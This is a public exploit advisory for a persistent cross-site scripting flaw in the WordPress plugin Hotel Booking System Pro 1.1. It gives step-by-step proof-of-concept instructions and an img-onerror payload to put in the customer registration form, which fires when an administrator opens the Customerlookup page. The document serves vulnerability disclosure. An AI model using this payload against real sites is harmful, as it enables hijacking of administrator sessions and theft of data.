WordPress Hotel Booking System Pro 1.1 Cross Site Scripting

`# Exploit Title: WordPress Hotel Booking System Pro v1.1 XSS Vunlerability  
# Google Dork:N/A  
# Date: 2020-04-04  
# Exploit Author: @ThelastVvV  
# Vendor Homepage: https://codecanyon.net/item/online-hotel-booking-system-pro-wordpress-plugin/9338914  
# Version: 1.1  
# Tested on: 5.4.0-4parrot1-amd64  
  
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Summary:  
  
Persistent Cross-site Scripting in Customer registration-form all-tags   
  
PoC 1:  
  
  
  
1- Go to the hotel booking page then choose new customor   
http://example/wp-hotel-pro/  
  
2- In "any " field of registration form type your payload :  
"><img src=x onerror=prompt(document.domain);>  
  
3-then hit CONTINUE  
  
  
4- Once the admin logs in and go to Customerlookup page ... the admin will be xssed   
  
  
http://example/wp-hotel-pro/wp-admin/admin.php?page=Customerlookup  
  
  
  
  
Impact:  
XSS can lead to adminstators/users's Session Hijacking, and if used in conjunction with a social engineering attack it can also lead to disclosure of sensitive data, CSRF attacks and other critical attacks on administrators directly.  
  
  
Other infos:  
  
Supported Wordpress versions:  
WordPress 4.9.x  
WordPress 4.8.x  
WordPress 4.7.x  
WordPress 4.6.1  
WordPress 4.6  
WordPress 4.5.x  
WordPress 4.5.2  
WordPress 4.5.1   
WordPress 4.5   
WordPress 4.4.2   
WordPress 4.4.1   
WordPress 4.4   
WordPress 4.3.1   
WordPress 4.3,   
WordPress 4.2,   
WordPress 4.1,   
wordPress 4.0  
  
Screentshoots:  
  
https://imgur.com/7QuD67x  
  
`